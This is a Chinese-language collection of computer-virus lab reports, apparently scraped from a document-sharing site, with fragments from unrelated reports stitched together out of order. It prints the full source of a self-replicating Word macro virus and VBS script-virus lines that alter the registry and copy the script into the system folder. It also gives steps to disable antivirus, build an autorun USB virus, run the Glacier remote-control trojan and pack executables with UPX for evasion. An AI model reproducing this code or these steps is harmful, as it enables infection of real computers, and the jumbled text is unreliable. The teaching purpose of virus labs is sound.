信息系统安全-计算机病毒分析实验-L002003002-病毒免杀实验-UPX加壳分析
L002003012-脚本病毒编写实验
第十一行至第十五行语句的作用依次为禁止“运行”菜单、禁止使用注册表编辑器、禁止注销菜单、开机自动运行以及禁止右键菜单。
第十六行至第十八行语句的作用依次为禁用IE右键菜单、禁止Internet选项、设置默认主页为。
18 r.Regwrite "HKEY_USERS\.DEFAULT\Software\Microsoft\Internet Explorer\Main\Start Page","/?cc62"
分析各条语句含义。主要语句的含义分析如下：
第一行语句的含义是启用错误处理程序，目的在于为了当程序发生错误的时候忽略错误而继续向下执行，从而不要打断程序的执行流程，保证后面的代码可以执行成功。
vbs脚本病毒生成器1.0版
预备知识
脚本与脚本病毒
脚本病毒通常是JavaScript代码编写的恶意代码，一般带有广告性质，会修改您的IE首页、修改注册表等信息，造成用户使用计算机不方便。
脚本病毒的原理分析与防范
脚本病毒的共有特性：
脚本病毒的前缀是：Script。脚本病毒的公有特性是使用脚本语言编写，通过网页进行的传播的病毒，如红色代码（Script.Redlof）脚本病毒通常有如下前缀：VBS、JS（表明是何种脚本编写的），如欢乐时光（VBS.Happytime）、十四日（Js.Fortnight.c.s）等。
6 dim r
7 Set r=CreateObject("Wscript.Shell")
8 so.GetFile(WScript.ScriptFullName).Copy(dir1&"\Win32system.vbs")
计算机病毒实验报告
计算机病毒实验报告计算机病毒实验报告引言：计算机病毒是一种恶意软件，可以对计算机系统造成破坏和损失。
为了更好地了解计算机病毒的特点和对计算机系统的影响，我们进行了一系列的实验。
本报告将详细介绍我们的实验过程、结果和结论。
实验一：病毒传播方式我们首先研究了计算机病毒的传播方式。
通过在一个封闭的网络环境中模拟实验，我们发现计算机病毒主要通过电子邮件、可移动存储设备和互联网下载等方式进行传播。
这些传播方式都依赖于用户的不慎操作或者系统的漏洞。
实验二：病毒对系统性能的影响我们接着研究了计算机病毒对系统性能的影响。
在一个实验环境中，我们分别在未感染和感染病毒的计算机上进行了性能测试。
结果显示，感染病毒的计算机在运行速度、响应时间和网络连接方面都明显下降。
这是因为计算机病毒会占用系统资源、干扰正常的进程和网络通信。
实验三：病毒防护措施为了更好地保护计算机系统免受病毒攻击，我们进行了一系列的病毒防护措施实验。
我们测试了不同的杀毒软件和防火墙，并对其进行了性能和效果的评估。
结果显示，合适的杀毒软件和防火墙可以有效地检测和阻止病毒的传播，保护计算机系统的安全。
实验四：病毒对个人隐私的威胁除了对系统性能的影响，计算机病毒还可能对个人隐私造成威胁。
我们进行了一项实验，模拟了一个病毒窃取个人信息的场景。
通过在一台计算机中安装了一个窃取密码的病毒，我们发现该病毒能够成功获取用户的登录信息和敏感数据。
这个实验结果提醒我们，保护个人隐私是非常重要的，我们应该谨慎对待未知来源的文件和链接。
结论：通过一系列的实验，我们对计算机病毒有了更深入的了解。
计算机病毒的传播方式多种多样，主要依赖于用户的不慎操作和系统的漏洞。
感染病毒会导致计算机系统性能下降，并可能对个人隐私造成威胁。
为了保护计算机系统的安全，我们应该采取合适的病毒防护措施，如安装杀毒软件和防火墙，并且要时刻保持警惕，不轻易打开未知来源的文件和链接。
总结：计算机病毒是现代计算机系统中的一大威胁，对系统性能和个人隐私都有着巨大的影响。
计算机病毒实验
计算机病毒与防范技术学院：信息技术学院班级：B1104学号：0913110416姓名：何家红计算机宏病毒分析及清除实验一、实验目的1.了解“宏病毒”机理。
2.掌握清除宏病毒的方法。
3.掌握采用“宏”和脚本语言进行编程的技术。
二、实验环境1.Windows XP操作系统。
2.Office Word 2010字处理软件。
三、实验要求1.宏的编写。
2.理解宏病毒的作用机制。
四、实验内容与步骤：1．软件设置首先检查电脑里杀毒软件是否开启，如果开启需要关闭它。
然后打开一个word 文档（我直接打开的“计算机宏病毒分析及清除实验”），依次单击“文件”——“选项”，然后在弹出的“word选项”对话框中单击“信任中心”，然后再单击“信任中心设置”——“宏设置”。
选择“启用所有宏”，“信任对VBA工程对象模型的访问”。
2．宏病毒实现自我复制功能打开一个word文档（我打开的“计算机宏病毒分析及清除实验”），然后按Alt+F11调用宏编写窗口,在左侧菜单栏中依次单击“project（计算机宏病毒分析及清除实验）”—“Microsoft Word对象”—“ThisDocument”，在这里输入实验代码单击“保存”，这时该文档就含有了宏病毒，然后单击“执行”，就立刻弹出一个窗口，第二次打开该文档，就自动执行以上代码，并将自身复制到Normal.dot 和当前文档的ThisDocument中，此时所有的word文档关闭时，都将运行以上的病毒代码，产生影响。
我又新建立了一个名字为“111”的word文档，打开后关闭就弹出一个提示框。
代码如下：'Macro-1：Micro-VirusSub Document_Open()On Error Resume NextApplication.DisplayStatusBar = FalseOptions.SaveNormalPrompt = FalseSet ourcodemodule = ThisDocument.VBProject.VBComponents(1).CodeModule Set host = NormalTemplate.VBProject.VBComponents(1).CodeModuleIf ThisDocument = NormalTemplate ThenSet host = ActiveDocument.VBProject.VBComponents(1).CodeModule End IfWith hostIf .Lines(1, 1) <> "'Micro-Virus" Then.DeleteLines 1, .CountOfLines.InsertLines 1, ourcodemodule.Lines(1, 100).ReplaceLine 2, "Sub Document_Close()"If ThisDocument = NormalTemplate Then.ReplaceLine 2, "Sub Document_Open()"ActiveDocument.SaveAs ActiveDocument.FullNameEnd IfEnd IfEnd WithMsgBox "B1104-何家红-16"End Sub结果显示如下：上图为复制完代码保存后，单击执行的结果图上图为模板被感染病毒的结果图上图为新建文档“111”被感染病毒结果图3．具有一定破坏性的宏本程序是以著名宏病毒“台湾一号”的恶意代码部分为基础，对源代码进行了适当的修改，这样降低了破坏性，否则实验室机器将受到严重影响。
信息安全实验报告
信息安全实验报告南昌航空大学实验报告课程名称：信息安全实验名称：共五次实验班级：姓名：同组人：指导教师评定：签名：实验一木马攻击与防范一、实验目的通过对木马的练习，使读者理解和掌握木马传播和运行的机制；通过手动删除木马，掌握检查木马和删除木马的技巧，学会防御木马的相关知识，加深对木马的安全防范意识。
二、实验原理木马的全称为特洛伊木马，源自古希腊神话。
木马是隐藏在正常程序中的具有特殊功能的恶意代码，是具备破坏、删除和修改文件、发送密码、记录键盘、实施DoS攻击甚至完全控制计算机等特殊功能的后门程序。
它隐藏在目标计算机里，可以随计算机自动启动并在某一端口监听来自控制端的控制信息。
1．木马的特性(1)伪装性(2)隐藏性(3)破坏性(4)窃密性2．木马的入侵途径木马入侵的主要途径是通过一定的欺骗方法，如更改图标、把木马文件与普通文件合并，欺骗被攻击者下载并执行做了手脚的木马程序，就会把木马安装到被攻击者的计算机中。
3．木马的种类(1)按照木马的发展历程，可以分为4个阶段：第1代木马是伪装型病毒，第2代木马是网络传播型木马，第3代木马在连接方式上有了改进，利用了端口反弹技术，例如灰鸽子木马，第4代木马在进程隐藏方面做了较大改动，让木马服务器端运行时没有进程，网络操作插入到系统进程或者应用进程中完成，例如广外男生木马。
(2)按照功能分类，木马又可以分为：破坏型木马，主要功能是破坏并删除文件；服务型木马； DoS攻击型木马；远程控制型木马三、实验环境两台运行Windows 2000/XP的计算机，通过网络连接。
使用“冰河”和“广外男生”木马作为练习工具。
四、实验内容和结果任务一“冰河”木马的使用1．使用“冰河”对远程计算机进行控制我们在一台目标主机上植入木马，在此主机上运行G_Server，作为服务器端；在另一台主机上运行G_Client，作为控制端。
打开控制端程序，单击快捷工具栏中的“添加主机”按钮，弹出如图1-5所示对对话框。
病毒实验报告
实验报告
网络攻击与防范
学院：
姓名：
学号：
专业：软件工程
年级：13级
题目：第四章“病毒”2015年6月2日
实验一:
1.实验题目：制作U盘病毒
2.实验目的：学习病毒特征，更有效的了解病毒，防止病毒
3.实验时间：2015年6月2日星期二
4.实验地点：
5.实验人员：
6.实验步骤：
一：制作U盘病毒
（1）首先在U盘中复制一个病毒可执行文件，本实验中我选用的是蜘蛛纸牌.exe，并且新建一个文本文档，命名为autorun，记事本格式打开文本文档，在其中输入新建病毒命令，并且另存为autorun.inf,保存类型为“所有文件”
如图1-2
图1
图2
（2）弹出U盘，重新插入后，发现U盘图标已经修改为蜘蛛纸牌的图标，但当打开U盘时仍能正常运行，并不能打开蜘蛛纸牌如图3-4
图3
打开后无病毒弹出
图4
（3）因为不能执行成功，所以根据老师给的文档中注册表进行修改，[HKEY_LOCAL_MACHINE\SOFTW ARE\Microsoft\Windows\Current Version\Explorer\Advanced\Folder\Hidden\SHOW ALL] 改CheckedValue"为1，发现电脑本身的值就为1，于是我依次进行了修改为0，修改为2，都不能成功。
如图5-6
图5
图6
二：尝试正常打开装有病毒的U盘（1）利用【运行】对话框来打开U盘如图7-8
图7
图8 （3）利用【我的电脑】窗口来打开U盘运行成功
如图9
图9。
计算机病毒和入侵检测 实验报告三
计算机病毒和入侵检测实验报告三首先使用“快照X”恢复Linux系统环境。
一．查看连接时间日志连接时间日志是保持用户登录进入和退出时间的文件。
1. 查看系统已登录用户（使用工具查看/var/run/utmp日志）（1）进入实验平台，单击工具栏“控制台”按钮进入工作目录。
输入命令：w，查看系统已登录用户。
显示信息如图4-4-1所示。
显示信息第一行是汇总信息，包括系统当前时间、系统启动到现在的时间、登录用户数目、系统在最近1秒、5秒和15秒的平均负载。
其后每行显示的是每个用户的各项数据，其中包括：登录帐号、登录终端名称，远程主机名称，登录时间、空闲时间，JCPU、PCPU、当前正在运行的命令行。
其中JCPU时间指的是和该终端(tty)连接的所有进程占用的时间。
这个时间里并不包括过去的后台作业时间，但却包括当前正在运行的后台作业所占用的时间。
而PCPU时间则是指当前进程所占用的时间。
（2）同组主机telnet登录本机（用户名：guest；口令：guestpass），本机再次通过w命令查看系统已登录用户。
（3）与“w”命令功能相似的命令还有“who”、“users”命令，请在控制台中运行这两个命令并查看运行结果与“w”命令的异同。
第一题的三个小题的实验结果截图2. 查看登录用户历史（使用工具查看/var/log/wtmp日志）（1）在控制台中输入命令：last，查看近期用户或终端的登录情况。
显示信息如图4-4-2所示。
图4-4-2 登录用户历史显示信息中包括用户登录时间。
如果关心某一个用户的登录历史，可以在“last”命令后面加上用户名参数，上例中使用“last root”命令就会得到关于用户root的登录信息。
（2）在实验中我们会发现，last命令会列出好多用户登录历史，这样不利于我们查找，有时候我们只希望打印出最近的用户登录历史，选项n用来打印出最近的n个用户的登录历史，在控制台输入命令：last -n 5，能够得到最近5个用户的登录历史。
计算机病毒与防治实验
计算机病毒原理及其防范实验报告学院专业：理学院信息安全学号：1108105075姓名：李建涛木马病毒1基本木马程序1.1 实验目的掌握木马病毒的基本原理。
1.2 实验原理用木马程序进行网络入侵，从过程上看大致可分为六步：配置木马(实现伪装和信息反馈)、传播木马(通过E-mail 、病毒和软件等)、运行木马、信息获取、建立连接和远程控制(实现对受害者的控制)。
其中建立连接的过程如图6-1-1所示。
B A 控制端服务端（1）建立连接前202.120.0.100①②③④①控制端I P ②木马端口③服务端端口④服务端I P?（2）获得服务器端I P（3）木马连接建立A B76 26202.120.0.100202.99.99.10110 37通过信息 反馈或I P 扫描获得服 务器I P 地址76 26图6-1-1 木马建立连接示意图在图6-1-1中，A 机为控制端，B 机为服务端。
对于A 机来说，要与B 机创建连接就必须知道B 机的木马端口和IP 地址，由于木马端口是A 机事先设定的，所以最重要的是如何获得B 机的IP 地址。
获得B 机的IP 地址的方法主要有两种：信息反馈和IP 扫描。
信息反馈是指服务端主动反馈信息给控制端。
因为B 机装有木马程序，所以它的木马端口7626是处于开放状态的，所以现在A 机只要扫描IP 地址段中7626端口开放的主机就行了。
图中B 机的IP 地址是202.96.96.101，当A 机扫描到这个IP 时发现它的7626端口是开放的，那么这个IP 就会被添加到列表中，这时A 机就可以通过木马的控制端程序向B 机发出连接信号，B 机中的木马程序收到信号后立即作出响应，当A 机收到响应的信号后，开启一个随即端口1031与B 机的木马端口7626建立连接，这时一个木马连接才算真正建立。
由于拨号上网的IP 是动态的，即每次上网的IP 都是不同的，但是这个IP 是在一定范围内变动的，因此，一般来说控制端都是先通过信息反馈获得服务端的IP 地址，然后再进行IP 扫描。
计算机病毒的实验报告
计算机病毒的实验报告
《计算机病毒的实验报告》
近年来，计算机病毒的威胁日益增加，给人们的生活和工作带来了不小的困扰。
为了更好地了解和应对计算机病毒的威胁，我们进行了一系列实验，以便更好
地理解和研究计算机病毒的特性和行为。
首先，我们在一台未安装任何杀毒软件的计算机上进行了实验。
我们通过下载
一些来自不明来源的文件和软件，以模拟用户在日常使用计算机时可能遇到的
情况。
结果显示，在没有杀毒软件的情况下，计算机很快就被感染了，并且出
现了各种各样的问题，如程序崩溃、文件丢失等。
接着，我们安装了一款知名的杀毒软件，并再次进行了实验。
这次，我们下载
了相同的文件和软件，并观察了杀毒软件的反应。
结果显示，杀毒软件能够及
时发现并清除潜在的病毒，保护了计算机的安全。
通过这些实验，我们得出了一些结论。
首先，计算机病毒的威胁不可小觑，用
户在日常使用计算机时应当保持警惕，避免下载和安装未知来源的文件和软件。
其次，安装一款可靠的杀毒软件是保护计算机安全的重要手段，能够及时发现
和清除潜在的病毒，保护计算机的安全。
在未来，我们将继续进行相关实验和研究，以更好地了解和应对计算机病毒的
威胁，为用户提供更好的安全保障。
希望通过我们的努力，能够减少计算机病
毒给人们带来的困扰，保护用户的计算机安全。
- 1、下载文档前请自行甄别文档内容的完整性，平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益，请联系客服反馈,我们会尽快为您处理(人工客服工作时间：9:00-18:30)。
8、找到PEiD.exe，使用软件PEid测试notepad.exe是否加壳，打开PEid软件。进入PEid软件页面。如图8所示：
图8
9、点击软件中“...”按钮，选择notepad.exe软件放置到file选项中。如图9所示：
图9
10、Notepad.exe放到PEid软件中，自动检测。如图10所示：
实验环境描述
1、学生机与实验室网络直连;
2、VPC1与实验室网络直连;
3、学生机与VPC1物理链路连通；
预备知识
对于程序员来说，自己苦心开发的一套代码在即将发布，售卖的时候，突然发现市面上各个角落都有自己开发的软件，这肯定是自己的软件被人破解了。那么有没有办法防止被破解呢，一般现在大家惯用的手法就是在自己的核心代码上加一个壳，例如一些花指令啊，还有一种的就是我们今天要讲的，直接给程序加一层保护壳，防止别人来迫害我们的劳动成果。
UPX（the Ultimate Packer for eXecutables）是一个免费且开源的软件，支持很多种不同操作系统上的文件格式。
UPX使用一种叫做UCL的压缩算法，这是一个对有部分专有算法的NRV（Not Really Vanished）算法的一个开源实现。
UCL被设计的足够简单使得解压缩只需要数百字节的额外代码。UCL在解压缩过程中不需要额外的内存，这最大的好处就意味着经过UPX压缩的可执行文件执行时通常也不需要额外的内存。
课程编写
类别
内容
实验课题名称
木马攻击-UPX加壳实验
实验目的与要求
1、了解UPX软件原理
2、掌握UPX软件使用
3、了解加壳原理
实验环境
VPC1(虚拟PC）
操作系统类型：windows网络接口：本地连接
VPC1连接要求
PC网络接口，本地连接与实验网络直连
软件描述
1、学生机要求安装java环境
2、安装windows 2003的系统
实验内容
1、掌握UPX软件使用
2、测试加壳是否成功
实验步骤
1、学生单击“网络拓扑”进入实验场景，单击windows2003中的“打开控制台”按钮，进入目标主机。如图1所示：
图1
2、输入默认账号administrator，密码123456，进入目标主机桌面。如图2所示：
图2
3、进入到D:\tools文件夹，找到“UPX压缩与解压器”软件。
UPX（从2.90 beta版本开始）可以在大多数平台上使用LZMA算法，但因为速度慢在16位平台上默认禁止使用。（使用参数--lzma强制使用）
UPX支援两种解压方式——就地解压和解压至临时文件夹。
就地解压方法会直接把可执行文件提取到内存。但这种方式不可能支援所有操作系统平台，如果这样就会用另一种解压方式，将压缩文件提取到临时文件夹。这样涉及到额外占用和其他缺点，但他支援封装任何可执行文件。可执行文件往往先会被提取到一个位置，之后用open()打开。
图9
注：大家看到了吧，上面的EP这个位置已经显示了UPX1，下面的壳探测也窗口。
图3
4、打开“UPX压缩与解压器”软件。
图4
5、点击UPX压缩与解压器软件中的“打开”，找到notepad.exe程序,把notepad.exe放到文件名位置,并打开。如图5所示：
图5
6、点击打开以后，UPX自动进入如图6所示页面：
图6
7、去掉“解压”前面勾选项，点击“执行”按钮，将对notepad.exe进行操作，执行以后结果，如图7所示：
一旦获得了一个文件描述符，就可以unlink()临时文件，UPX对文件句柄使用execve()(通过/proc)把临时文件的执行代码替换到UPX代码段中。
提取到临时文件的方法有以下几个缺点：
特殊权限会被忽略，如设置用户标识符。
argv[0]将会变得无效。
应用程序将无法共享共同的部分。
未修改的UPX包通常能够被杀毒软件检测和解压。同时UPX也内置能够解压未修改UPX包的功能。默认的UPX许可证明确禁止修改，来防止使用新版本UPX手工解压/重新压缩。